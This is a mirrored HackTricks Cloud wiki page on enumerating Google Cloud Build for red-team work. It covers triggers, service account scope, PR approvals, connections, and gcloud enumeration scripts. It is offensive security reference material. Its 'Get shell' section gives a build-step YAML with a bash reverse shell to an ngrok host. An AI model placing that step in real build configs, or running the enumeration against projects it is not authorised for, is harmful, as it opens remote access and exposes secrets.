mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
200 lines
9.5 KiB
Markdown
200 lines
9.5 KiB
Markdown
# GCP - Cloud Build Enum
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Basic Information
|
|
|
|
Google Cloud Build is a managed CI/CD platform that **automates software build** and release processes, integrating with **source code repositories** and supporting a wide range of programming languages. It **allows developers to build, test, and deploy code automatically** while providing flexibility to customize build steps and workflows.
|
|
|
|
Each Cloud Build Trigger is **related to a Cloud Repository or directly connected with an external repository** (Github, Bitbucket and Gitlab).
|
|
|
|
{% hint style="success" %}
|
|
I couldn't see any way to steal the Github/Bitbucket token from here or from Cloud Repositories because when the repo is downloaded it's accessed via a [https://source.cloud.google.com/](https://source.cloud.google.com/) URL and Github is not accessed by the client.
|
|
{% endhint %}
|
|
|
|
### Events
|
|
|
|
The Cloud Build can be triggered if:
|
|
|
|
* **Push to a branch**: Specify the branch
|
|
* **Push a new tag**: Specify the tag
|
|
* P**ull request**: Specify the branch that receives the PR
|
|
* **Manual Invocation**
|
|
* **Pub/Sub message:** Specify the topic
|
|
* **Webhook event**: Will expose a HTTPS URL and the request must be authenticated with a secret
|
|
|
|
### Execution
|
|
|
|
There are 3 options:
|
|
|
|
* A yaml/json **specifying the commands** to execute. Usually: `/cloudbuild.yaml`
|
|
* Only one that can be specified “inline” in the web console and in the cli
|
|
* Most common option
|
|
* Relevant for unauthenticated access
|
|
* A **Dockerfile** to build
|
|
* A **Buildpack** to build
|
|
|
|
### SA Permissions
|
|
|
|
The **Service Account has the `cloud-platform` scope**, so it can **use all the privileges.** If **no SA is specified** (like when doing submit) the **default SA** `<proj-number>@cloudbuild.gserviceaccount.com` will be **used.**
|
|
|
|
By default no permissions are given but it's fairly easy to give it some:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Approvals
|
|
|
|
It's possible to config a Cloud Build to **require approvals for build executions** (disabled by default).
|
|
|
|
### PR Approvals
|
|
|
|
When the trigger is PR because **anyone can perform PRs to public repositories** it would be very dangerous to just **allow the execution of the trigger with any PR**. Therefore, by default, the execution will only be **automatic for owners and collaborators**, and in order to execute the trigger with other users PRs an owner or collaborator must comment `/gcbrun`.
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (339).png" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
### Connections & Repositories
|
|
|
|
Connections can be created over:
|
|
|
|
* **GitHub:** It will show an OAuth prompt asking for permissions to **get a Github token** that will be stored inside the **Secret Manager.**
|
|
* **GitHub Enterprise:** It will ask to install a **GithubApp**. An **authentication token** from your GitHub Enterprise host will be created and stored in this project as a S**ecret Manager** secret.
|
|
* **GitLab / Enterprise:** You need to **provide the API access token and the Read API access toke**n which will stored in the **Secret Manager.**
|
|
|
|
Once a connection is generated, you can use it to **link repositories that the Github account has access** to.
|
|
|
|
This option is available through the button:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (17).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% hint style="success" %}
|
|
Note that repositories connected with this method are **only available in Triggers using 2nd generation.**
|
|
{% endhint %}
|
|
|
|
### Connect a Repository
|
|
|
|
This is not the same as a **`connection`**. This allows **different** ways to get **access to a Github or Bitbucket** repository but **doesn't generate a connection object, but it does generate a repository object (of 1st generation).**
|
|
|
|
This option is available through the button:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Storage
|
|
|
|
Sometimes Cloud Build will **generate a new storage to store the files for the trigger**. This happens for example in the example that GCP offers with:
|
|
|
|
```bash
|
|
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
|
|
cd cloud-console-sample-build && \
|
|
gcloud builds submit --config cloudbuild.yaml --region=global
|
|
```
|
|
|
|
A Storage bucket called [security-devbox\_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false\&project=security-devbox) is created to store a `.tgz` with the files to be used.
|
|
|
|
### Get shell
|
|
|
|
```yaml
|
|
steps:
|
|
- name: bash
|
|
script: |
|
|
#!/usr/bin/env bash
|
|
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
|
|
options:
|
|
logging: CLOUD_LOGGING_ONLY
|
|
```
|
|
|
|
Install gcloud inside cloud build:
|
|
|
|
```bash
|
|
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
|
|
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
|
|
mkdir -p /usr/local/gcloud
|
|
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
|
|
/usr/local/gcloud/google-cloud-sdk/install.sh
|
|
```
|
|
|
|
### Enumeration
|
|
|
|
You could find **sensitive info in build configs and logs**.
|
|
|
|
```bash
|
|
# Get configured triggers configurations
|
|
gcloud builds triggers list # Check for the words github and bitbucket
|
|
gcloud builds triggers describe <trigger-name>
|
|
|
|
# Get build executions
|
|
gcloud builds list
|
|
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
|
|
gcloud builds log <build-uuid> # Get build logs
|
|
|
|
# List all connections of each region
|
|
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
|
|
for region in $regions; do
|
|
echo "Listing build connections in region: $region"
|
|
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
|
|
if [[ ${#connections[@]} -eq 0 ]]; then
|
|
echo "No connections found in region $region."
|
|
else
|
|
for connection in $connections; do
|
|
echo "Describing connection $connection in region $region"
|
|
gcloud builds connections describe "$connection" --region="$region"
|
|
echo "-----------------------------------------"
|
|
done
|
|
fi
|
|
echo "========================================="
|
|
done
|
|
|
|
# List all worker-pools
|
|
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
|
|
for region in $regions; do
|
|
echo "Listing build worker-pools in region: $region"
|
|
gcloud builds worker-pools list --region="$region"
|
|
echo "-----------------------------------------"
|
|
done
|
|
```
|
|
|
|
### Privilege Escalation
|
|
|
|
{% content-ref url="../gcp-privilege-escalation/gcp-cloudbuild-privesc.md" %}
|
|
[gcp-cloudbuild-privesc.md](../gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Unauthenticated Access
|
|
|
|
{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md" %}
|
|
[gcp-cloud-build-unauthenticated-enum.md](../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Post Exploitation
|
|
|
|
{% content-ref url="../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md" %}
|
|
[gcp-cloud-build-post-exploitation.md](../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|